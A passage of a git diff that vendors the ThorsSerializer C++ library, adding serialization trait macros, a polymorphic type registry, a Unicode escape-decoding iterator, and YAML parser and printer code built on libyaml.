ThorsAnvil_RegisterPolyMorphicType_Internal(DataType, ...) \ + ThorsAnvil_RegisterPolyMorphicType(DataType) + +#pragma vera-pushoff +#define ThorsAnvil_RegisterPolyMorphicType(DataType) \ +namespace ThorsAnvil { namespace Serialize { \ +namespace \ +{ \ + ThorsAnvil_InitPolyMorphicType THOR_UNIQUE_NAME ( # DataType); \ +} \ +}} +#pragma vera-pop + +#define ThorsAnvil_Parent(Count, ParentType, DataType, ...) using Parent = ParentType; \ + using Root = typename GetRootType::Root; + +#define ThorsAnvil_Template_MakeTrait(Count, ...) \ + ThorsAnvil_MakeTrait_Base( , Map, Count, __VA_ARGS__, 1) \ + static_assert(true, "") + +#define ThorsAnvil_MakeTrait(...) \ + ThorsAnvil_MakeTrait_Base( , Map, 00, __VA_ARGS__, 1); \ + ThorsAnvil_RegisterPolyMorphicType_Internal(__VA_ARGS__, 1) \ + static_assert(true, "") + +#define ThorsAnvil_MakeTraitCustom(DataType) \ +namespace ThorsAnvil { namespace Serialize { \ +template<> \ +class Traits \ +{ \ + public: \ + static constexpr TraitType type = TraitType::Custom_Depricated; \ + static std::size_t getPrintSize(PrinterInterface& printer, DataType const& value, bool)\ + { \ + return tryGetSizeFromSerializeType(printer, value, 0); \ + } \ +}; \ +}} \ +DO_ASSERT(DataType) + +#define ThorsAnvil_MakeTraitCustomSerialize(DataType, SerializeType) \ +namespace ThorsAnvil { namespace Serialize { \ +template<> \ +class Traits \ +{ \ + public: \ + static constexpr TraitType type = TraitType::Custom_Serialize; \ + using SerializingType = SerializeType; \ + static std::size_t getPrintSize(PrinterInterface& printer, DataType const& object, bool)\ + { \ + SerializingType info; \ + switch (printer.formatType()) \ + { \ + case FormatType::Bson: return info.getPrintSizeBson(dynamic_cast(printer), object);\ + case FormatType::Json: /* Fall Through */ \ + case FormatType::Yaml: /* Fall Through */ \ + default: \ + { \ + ThorsLogAndThrowCritical("ThorsAnivl::Seriaizlize::Traits", \ + "getPrintSize", \ + "Should not get here"); \ + } \ + } \ + } \ +}; \ +}} \ +DO_ASSERT(DataType) + +#define ThorsAnvil_Template_ExpandTrait(Count, ParentType, ...) \ + ThorsAnvil_MakeTrait_Base(ThorsAnvil_Parent(Count, ParentType, __VA_ARGS__, 1), Parent, Count, __VA_ARGS__, 1) \ + static_assert(true, "") + +#define ThorsAnvil_ExpandTrait(ParentType, ...) ThorsAnvil_ExpandTrait_Base(ParentType, __VA_ARGS__, 1) +#define ThorsAnvil_ExpandTrait_Base(ParentType, DataType, ...) \ + static_assert( \ + std::is_base_of::type, DataType>::value, \ + "ParentType must be a base class of DataType"); \ + static_assert( \ + ::ThorsAnvil::Serialize::Traits::type != ThorsAnvil::Serialize::TraitType::Invalid, \ + "Parent type must have Serialization Traits defined" \ + ); \ + ThorsAnvil_MakeTrait_Base(ThorsAnvil_Parent(0, ParentType, DataType, __VA_ARGS__), Parent, 00, DataType, __VA_ARGS__); \ + ThorsAnvil_RegisterPolyMorphicType_Internal(DataType, 1) \ + static_assert(true, "") + +#include +#include +#define ThorsAnvil_MakeEnum(EnumName, ...) \ +namespace ThorsAnvil { namespace Serialize { \ +template<> \ +class Traits \ +{ \ + public: \ + static constexpr TraitType type = TraitType::Enum; \ + static std::map const& getValues() \ + { \ + using std::string_literals::operator""s; \ + static const std::map values = \ + { \ + REP_N(THOR_NAMEACTION, 0, EnumName, __VA_ARGS__, 1) \ + }; \ + return values; \ + } \ + static std::size_t getSize() \ + { \ + return NUM_ARGS(__VA_ARGS__, 1); \ + } \ + static EnumName getValue(std::string const& val, std::string const& msg) \ + { \ + std::map const& values = getValues();\ + for (auto const& value: values) \ + { \ + if (val == value.second) { \ + return value.first; \ + } \ + } \ + ThorsLogAndThrow("ThorsAnvil::Serialize::Traits", \ + "getValue", \ + "Invalid Enum Value"); \ + } \ + static std::size_t getPrintSize(PrinterInterface& printer, EnumName const& value, bool)\ + { \ + auto find = getValues().find(value); \ + return printer.getSizeValue(find->second); \ + } \ +}; \ +}} \ +DO_ASSERT(EnumName) + +// This type is not useful for JSON or other serialization +// But it can be useful to dump an enum that is a flag based enum. +// Its interface is not advertised above deliberately +#define ThorsAnvil_MakeEnumFlag(EnumName, ...) \ +inline EnumName operator&(EnumName lhs, EnumName rhs){return static_cast(static_cast(lhs) & static_cast(rhs));}\ +inline EnumName operator|(EnumName lhs, EnumName rhs){return static_cast(static_cast(lhs) | static_cast(rhs));}\ +inline EnumName operator^(EnumName lhs, EnumName rhs){return static_cast(static_cast(lhs) ^ static_cast(rhs));}\ +inline std::ostream& operator<<(std::ostream& stream, EnumName const& value) \ +{ \ + if (value == EnumName::empty) \ + { \ + stream << "empty"; \ + } \ + else \ + { \ + using std::string_literals::operator""s; \ + static const std::map values = \ + { \ + REP_N(THOR_NAMEACTION, 0, EnumName, __VA_ARGS__, 1) \ + }; \ + bool first = true; \ + for (int loop = 0; loop < 32; ++loop) \ + { \ + EnumName flag = static_cast(1 << loop); \ + if ((value & flag) != EnumName::empty) \ + { \ + if (!first) \ + { \ + stream << " | "; \ + } \ + first = false; \ + stream << values.find(flag)->second; \ + } \ + } \ + } \ + return stream; \ +} \ +static_assert(true) + +/* + * Defined the virtual function needed by tryPrintPolyMorphicObject() + */ +#define ThorsAnvil_PolyMorphicSerializer(Type) \ + virtual void printPolyMorphicObject(ThorsAnvil::Serialize::Serializer& parent, \ + ThorsAnvil::Serialize::PrinterInterface& printer) \ + { \ + ThorsAnvil::Serialize::printPolyMorphicObject(parent, printer, *this); \ + } \ + virtual void parsePolyMorphicObject(ThorsAnvil::Serialize::DeSerializer& parent, \ + ThorsAnvil::Serialize::ParserInterface& parser) \ + { \ + ThorsAnvil::Serialize::parsePolyMorphicObject(parent, parser, *this); \ + } \ + virtual std::size_t getPolyMorphicPrintSize(ThorsAnvil::Serialize::PrinterInterface& printer) const \ + { \ + std::size_t count = 1; \ + std::size_t memberSize = (printer.config.polymorphicMarker.size() + printer.getSizeValue(std::string(polyMorphicSerializerName())));\ + \ + return getNormalPrintSize(printer, *this, count, memberSize); \ + } \ + static constexpr char const* polyMorphicSerializerName() \ + { \ + return #Type; \ + } + + +namespace ThorsAnvil +{ + namespace Serialize + { + +/* + * The traits type. + * Specialized for each type we want to serialize + */ +template +class Traits +{ + public: + // By default if a traits type is not defined for a type + // You get this default implementation. + // This just says that it is invalid to serialize this type + // static_asserts sprinkled through the code will provide + // appropriate error messages based on this being invalid. + static constexpr TraitType type = TraitType::Invalid; + + // For types that are Map/Array/Parent we can also define + // members that need be serialized via types. To achieve this + // they define a static getMembers() function. + // static Members const& getMembers() + // + // I would have made this a type declaration but I could + // not get it to bind correctly without an explicit + // instantiation (if you know how please let me know). + // + // So I use a static member function with a static variable + // which can be defined in-line within the traits class and + // does not need a separate declaration in a compilation unit. +}; + + +/* + * For object that are serialized as Json Array + * we use this object to get the size of the array. + * + * The default action is simply to call size() on + * the object before printing. + */ +template +class SerializeArraySize +{ + public: + static std::size_t size(T const& object) + { + return object.size(); + } +}; + +template +struct GetRootType +{ + using Root = R; +}; +template +struct GetRootType::Root> +{ + using Root = typename Traits::Root; +}; +template +struct GetAllocationType +{ + using AllocType = T; +}; +template +struct GetAllocationType> +{ + using AllocType = T; +}; + +/* + */ +class PolyMorphicRegistry +{ + static std::map>& getContainer() + { + static std::map> polyAllocContainer; + return polyAllocContainer; + } + + public: + static std::function& getAllocator(std::string const& name) + { + return getContainer()[name]; + } + template + static T* getNamedTypeConvertedTo(std::string const& name) + { + using AllocType = typename GetAllocationType::AllocType; + + auto cont = getContainer(); + auto find = cont.find(name); + if (find == cont.end()) + { + ThorsLogAndThrow("ThorsAnvil::Serialize::PolyMorphicRegistry", + "getNamedTypeConvertedTo", + "Non polymorphic type"); + } + void* data = find->second(); + AllocType* dataBase = reinterpret_cast(data); + + using ReturnType = T*; + return ReturnType{dataBase}; + } +}; + +template +class HasPolyMorphicObjectMarker +{ + using One = char; + using Two = long; + + template static One test( decltype(&C::parsePolyMorphicObject) ); + template static Two test(...); + +public: + enum { Value = sizeof(test(nullptr)) == sizeof(char) }; +}; + + +template::Value> +struct ThorsAnvil_InitPolyMorphicType; + + +template +struct ThorsAnvil_InitPolyMorphicType +{ + ThorsAnvil_InitPolyMorphicType(char const* name) + { + PolyMorphicRegistry::getAllocator(name) = + []() -> void* + { + using Root = typename GetRootType::Root; + return dynamic_cast(Traits::alloc()); + }; + } +}; + +template +struct ThorsAnvil_InitPolyMorphicType +{ + ThorsAnvil_InitPolyMorphicType(char const*){} +}; + + + } +} + +#endif diff --git a/Extern/include/ThorsSerializer/UnicodeIterator.h b/Extern/include/ThorsSerializer/UnicodeIterator.h new file mode 100644 index 0000000..587b03f --- /dev/null +++ b/Extern/include/ThorsSerializer/UnicodeIterator.h @@ -0,0 +1,366 @@ +#ifndef THORS_ANVIL_SERIALIZE_UNICODE_ITERATOR_H +#define THORS_ANVIL_SERIALIZE_UNICODE_ITERATOR_H +/* + * An iterator used to scan the inside of a quoted string. + * It will convert all escaped characters into the actual UTF-8 character. + * + * ie \n Will be converted to the actual newline character code. + * \uxxx Will be converted into the unicode code point xxxx encoded in UTF-8 + * Note: (which may take be more than one character lone). + * + * Usage: + * + * std::string input = readQuotedTextFromInput(); + * std::string text1(make_UnicodeWrapperIterator(std::begin(input)), make_UnicodeWrapperIterator(std::end(input))); + * + * // Or + * std::string text; + * std::copy(std::bin(input), std::end(input), make_UnicodePushBackIterator(text)); + */ + +#include "ThorsIOUtil/Utility.h" +#include "ThorsLogging/ThorsLogging.h" +#include +#include + +namespace ThorsAnvil +{ + namespace Serialize + { + +inline long convertHexToDec(char x) +{ + if (x >= '0' && x <= '9') + { + return (x - '0'); + } + else if (x >= 'A' && x <= 'F') + { + return 10 + (x - 'A'); + } + else if (x >= 'a' && x <= 'f') + { + return 10 + (x - 'a'); + } + ThorsLogAndThrow("ThorsAnvil::Serialize", + "convertHexToDec", + "Invalid Hex Digit in unicode string"); +} + +template +struct UnicodePushBackIterator: std::iterator +{ + C& cont; + bool lastWasSlash; + int unicodeCount; + uint32_t unicodeValue; + UnicodePushBackIterator(C& c) + : cont(c) + , lastWasSlash(false) + , unicodeCount(0) + {} + UnicodePushBackIterator& operator++() {return *this;} + UnicodePushBackIterator& operator*() {return *this;} + void operator=(char x) + { + if (unicodeCount) + { + if (unicodeCount == 6) + { + if (x != '\\') + { + ThorsLogAndThrow("ThorsAnvil::Serialize", + "UnicodeIterator", + "Push->Surrogate pair(No Slash): \\uD8xx Must be followed by \\uDCxx"); + } + --unicodeCount; + } + else if (unicodeCount == 5) + { + if (x != 'u') + { + ThorsLogAndThrow("ThorsAnvil::Serialize", + "UnicodeIterator", + "Push->Surrogate pair(No u): \\uD8xx Must be followed by \\uDCxx"); + } + --unicodeCount; + } + else + { + unicodeValue <<= 4; + unicodeValue += convertHexToDec(x); + --unicodeCount; + if (unicodeCount == 0) + { + if (unicodeValue <= 0x7F) + { + // Encode as single UTF-8 character + cont.push_back(unicodeValue); + } + else if (unicodeValue <= 0x7FF) + { + // Encode as two UTF-8 characters + cont.push_back(0xC0 |((unicodeValue >> 6))); + cont.push_back(0x80 |((unicodeValue >> 0) & 0x3F)); + } + else if (unicodeValue <= 0xFFFF) + { + if ((unicodeValue & 0xFC00) != 0xD800) + { + // Encode as three UTF-8 characters + cont.push_back(0xE0 |((unicodeValue >> 12))); + cont.push_back(0x80 |((unicodeValue >> 6) & 0x3F)); + cont.push_back(0x80 |((unicodeValue >> 0) & 0x3F)); + } + else + { + // We have a found first part of surrogate pair + unicodeCount = 6; + } + } + else + { + // Surrogate pair + if ((unicodeValue & 0xFC00FC00) != 0xD800DC00) + { + ThorsLogAndThrow("ThorsAnvil::Serialize", + "UnicodeIterator", + "Push->Surrogate pair(No DC): \\uD8xx Must be followed by \\uDCxx"); + } + + // Decode surrogate pair + unicodeValue = 0x00010000 | ((unicodeValue & 0x03FF0000) >> 6) | (unicodeValue & 0x000003FF); + + // Encode as 4 UTF-8 characters + cont.push_back(0xF0 |((unicodeValue >> 18))); + cont.push_back(0x80 |((unicodeValue >> 12) & 0x3F)); + cont.push_back(0x80 |((unicodeValue >> 6) & 0x3F)); + cont.push_back(0x80 |((unicodeValue >> 0) & 0x3F)); + } + } + } + } + else if (lastWasSlash) + { + switch (x) + { + case '"': cont.push_back('"'); break; + case '\\': cont.push_back('\\'); break; + case '/': cont.push_back('/'); break; + case 'b': cont.push_back('\b'); break; + case 'f': cont.push_back('\f'); break; + case 'n': cont.push_back('\n'); break; + case 'r': cont.push_back('\r'); break; + case 't': cont.push_back('\t'); break; + case 'u': unicodeCount = 4; unicodeValue = 0; break; + } + lastWasSlash = false; + } + else + { + if (x == '\\') + { + lastWasSlash = true; + } + else + { + cont.push_back(x); + } + } + } +}; + +template +struct UnicodeWrapperIterator: std::iterator +{ + I iter; + std::vector cont; + std::size_t index; + int next; + UnicodeWrapperIterator(I inIter, bool end) + : iter(inIter) + , index(0) + , next(0) + { + if (!end) + { + next = *iter; + ++iter; + if (next != '"') + { + ThorsLogAndThrow("ThorsAnvil::Serialize::UnicodeWrapperIterator", + "UnicodeWrapperIterator", + "String does not start with a \" character"); + } + next = *iter; + ++iter; + } + } + bool operator==(UnicodeWrapperIterator const&) const + { + return next == '"'; + } + bool operator!=(UnicodeWrapperIterator const& rhs) const + { + return !(*this == rhs); + } + UnicodeWrapperIterator& operator++() + { + if (cont.size() == 0) + { + next = *iter; + ++iter; + } + else + { + ++index; + if (index == cont.size()) + { + next = *iter; + ++iter; + cont.clear(); + index = 0; + } + } + return *this; + } + char operator*() + { + if (cont.size() == 0) + { + return checkBuffer(); + } + return cont[index]; + } + private: + char checkBuffer() + { + unsigned char result = next; + if (result < 0x20) + { + ThorsLogAndThrow("ThorsAnvil::Serialize::UnicodeWrapperIterator", + "checkBuffer", + "input character can not be smaller than 0x20"); + } + if (result != '\\') + { + return result; + } + result = *iter; + ++iter; + switch (result) + { + case '"': return '"'; + case '\\': return '\\'; + case '/': return '/'; + case 'b': return '\b'; + case 'f': return '\f'; + case 'n': return '\n'; + case 'r': return '\r'; + case 't': return '\t'; + case 'u': + { + decodeUnicode(); + return cont[0]; + } + default: + { + ThorsLogAndThrow("ThorsAnvil::Serialize::UnicodeWrapperIterator", + "checkBuffer", + "Escaped character must be one of [\"\\/bfnrtvu]"); + } + } + } + void decodeUnicode() + { + long unicodeValue = getUnicodeHex(); + + if (unicodeValue <= 0x7F) + { + // Encode as single UTF-8 character + cont.push_back(unicodeValue); + } + else if (unicodeValue <= 0x7FF) + { + // Encode as two UTF-8 characters + cont.push_back(0xC0 |((unicodeValue >> 6))); + cont.push_back(0x80 |((unicodeValue >> 0) & 0x3F)); + } + else if (unicodeValue <= 0xFFFF) + { + if ((unicodeValue & 0xFC00) != 0xD800) + { + // Encode as three UTF-8 characters + cont.push_back(0xE0 |((unicodeValue >> 12))); + cont.push_back(0x80 |((unicodeValue >> 6) & 0x3F)); + cont.push_back(0x80 |((unicodeValue >> 0) & 0x3F)); + } + else + { + // We have a found first part of surrogate pair + decodeSurrogatePairs(unicodeValue); + } + } + } + void decodeSurrogatePairs(long unicodeValue) + { + char nextChar = *iter; + ++iter; + if (nextChar != '\\') + { + ThorsLogAndThrow("ThorsAnvil::Serialize", + "UnicodeIterator", + "Iter->Surrogate pair(No Slash): \\uD8xx Must be followed by \\uDCxx"); + } + nextChar = *iter; + ++iter; + if (nextChar != 'u') + { + ThorsLogAndThrow("ThorsAnvil::Serialize", + "UnicodeIterator", + "Iter->Surrogate pair(No u): \\uD8xx Must be followed by \\uDCxx"); + } + + unicodeValue = (unicodeValue << 16) + getUnicodeHex(); + + // Surrogate pair + if ((unicodeValue & 0xFC00FC00) != 0xD800DC00) + { + ThorsLogAndThrow("ThorsAnvil::Serialize", + "UnicodeIterator", + "Iter->Surrogate pair(No DC): \\uD8xx Must be followed by \\uDCxx"); + } + + // Decode surrogate pair + unicodeValue = 0x00010000 | ((unicodeValue & 0x03FF0000) >> 6) | (unicodeValue & 0x000003FF); + + // Encode as 4 UTF-8 characters + cont.push_back(0xF0 |((unicodeValue >> 18))); + cont.push_back(0x80 |((unicodeValue >> 12) & 0x3F)); + cont.push_back(0x80 |((unicodeValue >> 6) & 0x3F)); + cont.push_back(0x80 |((unicodeValue >> 0) & 0x3F)); + } + long getUnicodeHex() + { + long unicodeValue = 0; + + for (int loop=0;loop < 4;++loop) + { + char x = *iter; + ++iter; + + unicodeValue <<= 4; + unicodeValue += convertHexToDec(x); + } + return unicodeValue; + } +}; + +template UnicodePushBackIterator make_UnicodePushBackIterator(C& cont) {return UnicodePushBackIterator(cont);} +template UnicodeWrapperIterator make_UnicodeWrapperIterator(I iter) {return UnicodeWrapperIterator(iter, false);} +template UnicodeWrapperIterator make_EndUnicodeWrapperIterator(I iter) {return UnicodeWrapperIterator(iter, true);} + + } +} + +#endif diff --git a/Extern/include/ThorsSerializer/YamlParser.cpp b/Extern/include/ThorsSerializer/YamlParser.cpp new file mode 100644 index 0000000..cad4a69 --- /dev/null +++ b/Extern/include/ThorsSerializer/YamlParser.cpp @@ -0,0 +1,254 @@ +#include "SerializeConfig.h" +#include "YamlParser.h" +#include "ThorsIOUtil/Utility.h" +#include "ThorsLogging/ThorsLogging.h" + +using namespace ThorsAnvil::Serialize; + +extern "C" +{ + int thorsanvilYamlStreamReader(void* data, unsigned char* buffer, size_t size, size_t* size_read); +} + +HEADER_ONLY_INCLUDE +int thorsanvilYamlStreamReader(void* data, unsigned char* buffer, size_t size, size_t* size_read) +{ + YamlParser* owner = reinterpret_cast(data); + bool result = false; + + owner->input.read(reinterpret_cast(buffer), size); + *size_read = owner->input.gcount(); + result = ((*size_read) != size_t(-1)); + + return result; +} + +HEADER_ONLY_INCLUDE +YamlParser::YamlParser(std::istream& input, ParserConfig config) + : ParserInterface(input, config) + , first(true) + , error(false) +{ + yaml_parser_initialize(&parser); + yaml_parser_set_input(&parser, thorsanvilYamlStreamReader, this); +} + +HEADER_ONLY_INCLUDE +YamlParser::~YamlParser() +{ + if (!first) + { + yaml_event_delete(&event); + } + yaml_parser_delete(&parser); +} + +HEADER_ONLY_INCLUDE +ParserInterface::ParserToken YamlParser::getNextToken() +{ + // enum class ParserToken {Error, DocStart, DocEnd, MapStart, MapEnd, ArrayStart, ArrayEnd, Key, Value}; + if (first) + { + first = false; + if (!yaml_parser_parse(&parser, &event) || event.type != YAML_STREAM_START_EVENT) + { + return parsingError(); + } + state.emplace_back(State::Open, 0); + } + + if (error) + { + return ParserToken::Error; + } + yaml_event_delete(&event); + + + if (!yaml_parser_parse(&parser, &event)) + { + return parsingError(); + } + + switch (event.type) + { + case YAML_STREAM_START_EVENT: generateParsingException([](){return true;}, "ThorsAnvil::Serialize::YamlParser: Start should only happen as first event"); + // fallthrough + case YAML_ALIAS_EVENT: generateParsingException([](){return true;}, "ThorsAnvil::Serialize::YamlParser: Alias not supported"); + // fallthrough + case YAML_NO_EVENT: generateParsingException([](){return true;}, "ThorsAnvil::Serialize::YamlParser: No Event not supported"); + // fallthrough + + case YAML_STREAM_END_EVENT: return parsingError(); + + case YAML_DOCUMENT_START_EVENT: + { + generateParsingException([&](){return (state.size() != 1 || state.back().first != State::Open || state.back().second != 0);}, + "ThorsAnvil::Serialize::YamlParser: Invalid document start event"); + ++state.back().second; + return ParserToken::DocStart; + } + case YAML_DOCUMENT_END_EVENT: + { + generateParsingException([&](){return (state.size() != 1 || state.back().first != State::Open);}, + "ThorsAnvil::Serialize::YamlParser: Invalid document end event"); + return ParserToken::DocEnd; + } + case YAML_MAPPING_START_EVENT: + { + ++state.back().second; + generateParsingException([&](){return ((state.back().first == State::Map) && ((state.back().second % 2) == 1));}, + "ThorsAnvil::Serialize::YamlParser: Map is not a valid Key"); + state.emplace_back(State::Map, 0); + return ParserToken::MapStart; + } + case YAML_MAPPING_END_EVENT: + { + generateParsingException([&](){return ((state.back().second % 2) != 0);}, + "ThorsAnvil::Serialize::YamlParser: Maps must have key value pairs"); + state.pop_back(); + return ParserToken::MapEnd; + } + case YAML_SEQUENCE_START_EVENT: + { + ++state.back().second; + generateParsingException([&](){return ((state.back().first == State::Map) && ((state.back().second % 2) == 1));}, + "ThorsAnvil::Serialize::YamlParser: Array is not a valid Key"); + state.emplace_back(State::Array, 0); + return ParserToken::ArrayStart; + } + case YAML_SEQUENCE_END_EVENT: + { + state.pop_back(); + return ParserToken::ArrayEnd; + } + case YAML_SCALAR_EVENT: + { + ++state.back().second; + return ((state.back().first == State::Map) && ((state.back().second % 2) == 1)) + ? ParserToken::Key + : ParserToken::Value; + } + // If nothing fits then fall out of the switch. + // The default action is to return an error. + } + return ParserToken::Error; +} + +HEADER_ONLY_INCLUDE +ParserInterface::ParserToken YamlParser::parsingError() +{ + error = true; + return ParserToken::Error; +} + +HEADER_ONLY_INCLUDE +void YamlParser::generateParsingException(std::function test, std::string const& msg) +{ + if (test()) + { + error = true; + ThorsLogAndThrow("ThorsAnvil::Serializer::YamlParser", + "generateParsingException", + msg); + } +} + +HEADER_ONLY_INCLUDE +std::string YamlParser::getString() +{ +//int plain_implicit +//int quoted_implicit +//yaml_scalar_style_t style + + char const* buffer = reinterpret_cast(event.data.scalar.value); + std::size_t length = event.data.scalar.length; + +/* + char const* tag = event.data.scalar.tag ? (char const*)event.data.scalar.tag : "NULL"; + std::cout << "Tag: " << tag << "\n" + << "PI: " << event.data.scalar.plain_implicit << "\n" + << "QI: " << event.data.scalar.quoted_implicit << "\n" + << "ST: " << event.data.scalar.style << "\n" + << "LN: " << length << "\n" + << "VAL: " << std::string(buffer, buffer + length) << "\n"; +*/ + + + return std::string(buffer, buffer + length); +} + +template +T YamlParser::scan() +{ + char const* buffer = reinterpret_cast(event.data.scalar.value); + std::size_t length = event.data.scalar.length; + char* end; + + T value = scanValue(buffer, &end); + if (buffer + length != end) + { + ThorsLogAndThrow("ThorsAnvil::Serialize::YamlParser", + "scan", + "Not an integer"); + } + return value; +} + + +HEADER_ONLY_INCLUDE void YamlParser::getValue(short int& value) {value = scan();} +HEADER_ONLY_INCLUDE void YamlParser::getValue(int& value) {value = scan();} +HEADER_ONLY_INCLUDE void YamlParser::getValue(long int& value) {value = scan();} +HEADER_ONLY_INCLUDE void YamlParser::getValue(long long int& value) {value = scan();} + +HEADER_ONLY_INCLUDE void YamlParser::getValue(unsigned short int& value) {value = scan();} +HEADER_ONLY_INCLUDE void YamlParser::getValue(unsigned int& value) {value = scan();} +HEADER_ONLY_INCLUDE void YamlParser::getValue(unsigned long int& value) {value = scan();} +HEADER_ONLY_INCLUDE void YamlParser::getValue(unsigned long long int& value){value = scan();} + +HEADER_ONLY_INCLUDE void YamlParser::getValue(float& value) {value = scan();} +HEADER_ONLY_INCLUDE void YamlParser::getValue(double& value) {value = scan();} +HEADER_ONLY_INCLUDE void YamlParser::getValue(long double& value) {value = scan();} + +HEADER_ONLY_INCLUDE +void YamlParser::getValue(bool& value) +{ + char const* buffer = reinterpret_cast(event.data.scalar.value); + std::size_t length = event.data.scalar.length; + + if (length == 4 && strncmp(buffer, "true", 4) == 0) + { + value = true; + } + else if (length == 5 && strncmp(buffer, "false", 5) == 0) + { + value = false; + } + else + { + ThorsLogAndThrow("ThorsAnvil::Serialize::YamlParser", + "getValue", + "Not a bool"); + } +} + +HEADER_ONLY_INCLUDE +void YamlParser::getValue(std::string& value) +{ + value = getString(); +} + +HEADER_ONLY_INCLUDE +bool YamlParser::isValueNull() +{ + char const* buffer = reinterpret_cast(event.data.scalar.value); + std::size_t length = event.data.scalar.length; + + return (length == 4 && strncmp(buffer, "null", 4) == 0) + || (length == 1 && strncmp(buffer, "~", 1) == 0); +} + +HEADER_ONLY_INCLUDE +std::string YamlParser::getRawValue() +{ + return getString(); +} diff --git a/Extern/include/ThorsSerializer/YamlParser.h b/Extern/include/ThorsSerializer/YamlParser.h new file mode 100644 index 0000000..aa5ca3a --- /dev/null +++ b/Extern/include/ThorsSerializer/YamlParser.h @@ -0,0 +1,88 @@ +#ifndef THORS_ANIVL_SERIALIZE_YAML_PARSER_H +#define THORS_ANIVL_SERIALIZE_YAML_PARSER_H +/* + * YamlParser + * This is used in conjunction with YamlPrinter + * + * Together these provide an implementation of: + * the ParserInterface for type T + * and PrinterInterface for type T + * + * These Interfaces are used by Serializer and DeSerializer (see Serialize.h) + * + * It uses ThorsAnvil::Serialize::Traits to know what objects to pull from the stream. + * For arrays order is important. + * For Objects the order of elements is not important. It looks up the key in the Traits + * information to understand which member is being de-serialized but unspecified elements + * will not cause an error. + */ + + +#include "Serialize.h" +#include +#include +#include +#include + +namespace ThorsAnvil +{ + namespace Serialize + { + +class YamlParser: public ParserInterface +{ + enum class State {Open, Map, Array}; + std::vector> state; + yaml_parser_t parser; + yaml_event_t event; + bool first; + bool error; + + std::string getString(); + void generateParsingException(std::function test, std::string const& msg); + ParserToken parsingError(); + + template + T getValue(char* buffer, char** end); + + template + T scan(); + public: + YamlParser(std::istream& input, ParserConfig config = ParserConfig{}); + virtual ~YamlParser(); + + virtual FormatType formatType() override {return FormatType::Yaml;} + virtual ParserToken getNextToken() override; + virtual std::string getKey() override {return getString();} + + virtual void getValue(short int& value) override; + virtual void getValue(int& value) override; + virtual void getValue(long int& value) override; + virtual void getValue(long long int& value) override; + + virtual void getValue(unsigned short int& value) override; + virtual void getValue(unsigned int& value) override; + virtual void getValue(unsigned long int& value) override; + virtual void getValue(unsigned long long int& value) override; + + virtual void getValue(float& value) override; + virtual void getValue(double& value) override; + virtual void getValue(long double& value) override; + + virtual void getValue(bool& value) override; + + virtual void getValue(std::string& value) override; + + virtual bool isValueNull() override; + + virtual std::string getRawValue() override; +}; + + } +} + +#if defined(HEADER_ONLY) && HEADER_ONLY == 1 +#include "YamlParser.source" +#endif + +#endif diff --git a/Extern/include/ThorsSerializer/YamlPrinter.cpp b/Extern/include/ThorsSerializer/YamlPrinter.cpp new file mode 100644 index 0000000..50c36fc --- /dev/null +++ b/Extern/include/ThorsSerializer/YamlPrinter.cpp @@ -0,0 +1,199 @@ +#include "SerializeConfig.h" +#include "YamlPrinter.h" +#include "ThorsIOUtil/Utility.h" +#include "ThorsLogging/ThorsLogging.h" +#include + +extern "C" +{ + int thorsanvilYamlStreamWritter(void* data, unsigned char* buffer, size_t size); +} + +using namespace ThorsAnvil::Serialize; + +HEADER_ONLY_INCLUDE +int thorsanvilYamlStreamWritter(void* data, unsigned char* buffer, size_t size) +{ + YamlPrinter* owner = reinterpret_cast(data); + owner->output.write(reinterpret_cast(buffer), size); + bool result = static_cast(owner->output); + + return result ? 1 : 0; +} + +HEADER_ONLY_INCLUDE +void YamlPrinter::checkYamlResultCode(int code, char const* method, char const* msg) +{ + static std::string const msgBase = "ThorsAnvil::Serialize::YamlPrinter::"; + + if (code == 0) + { + error = true; + ThorsLogAndThrow("ThorsAnvil::Serialize::YamlPrinter", + "checkYamlResultCode", + method, ":", msg); + } +} +HEADER_ONLY_INCLUDE +void YamlPrinter::checkYamlResultCode(std::function init, char const* method, char const* msg) +{ + yaml_event_t event; + int code1 = init(event); + checkYamlResultCode(code1, method, msg); + int code2 = yaml_emitter_emit(&emitter, &event); + checkYamlResultCode(code2, method, "yaml_emitter_emit"); +} + +HEADER_ONLY_INCLUDE +YamlPrinter::YamlPrinter(std::ostream& output, PrinterConfig config) + : PrinterInterface(output, config) + , error(false) +{ + checkYamlResultCode(yaml_emitter_initialize(&emitter), "YamlPrinter", "yaml_emitter_initialize"); + yaml_emitter_set_output(&emitter, thorsanvilYamlStreamWritter, this); + checkYamlResultCode( + [&](yaml_event_t& event){return yaml_stream_start_event_initialize(&event, YAML_UTF8_ENCODING);}, + "YamlPrinter", + "yaml_stream_start_event_initialize"); + state.emplace_back(0, TraitType::Value); +} +HEADER_ONLY_INCLUDE +YamlPrinter::~YamlPrinter() +{ + if (!error) + { + checkYamlResultCode( + [&](yaml_event_t& event){return yaml_stream_end_event_initialize(&event);}, + "~YamlPrinte", + "yaml_stream_end_event_initialize"); + } + checkYamlResultCode(yaml_emitter_flush(&emitter), "~YamlPrinter", "yaml_emitter_flush"); + yaml_emitter_delete(&emitter); +} + +HEADER_ONLY_INCLUDE +void YamlPrinter::openDoc() +{ + checkYamlResultCode( + [&](yaml_event_t& event){return yaml_document_start_event_initialize(&event, NULL, NULL, NULL, 0);}, + "openDoc", + "yaml_document_start_event_initialize"); +} +HEADER_ONLY_INCLUDE +void YamlPrinter::closeDoc() +{ + checkYamlResultCode( + [&](yaml_event_t& event){return yaml_document_end_event_initialize(&event, 0);}, + "closeDoc", + "yaml_document_end_event_initialize"); + checkYamlResultCode(yaml_emitter_flush(&emitter), "closeDoc", "yaml_emitter_flush"); +} + +HEADER_ONLY_INCLUDE +void YamlPrinter::openMap(std::size_t) +{ + yaml_mapping_style_t style; + switch (this->config.characteristics) + { + case PrinterInterface::OutputType::Stream: style = YAML_FLOW_MAPPING_STYLE; break; + case PrinterInterface::OutputType::Config: style = YAML_BLOCK_MAPPING_STYLE; break; + default: style = YAML_ANY_MAPPING_STYLE; break; + } + checkYamlResultCode( + [&](yaml_event_t& event){return yaml_mapping_start_event_initialize(&event, NULL, NULL, 1, style);}, + "openMap", + "yaml_mapping_start_event_initialize"); + state.emplace_back(0, TraitType::Map); +} +HEADER_ONLY_INCLUDE +void YamlPrinter::closeMap() +{ + checkYamlResultCode( + [&](yaml_event_t& event){return yaml_mapping_end_event_initialize(&event);}, + "closeMap", + "yaml_mapping_end_event_initialize"); + state.pop_back(); +} +HEADER_ONLY_INCLUDE +void YamlPrinter::openArray(std::size_t) +{ + yaml_sequence_style_t style; + switch (this->config.characteristics) + { + case PrinterInterface::OutputType::Stream: style = 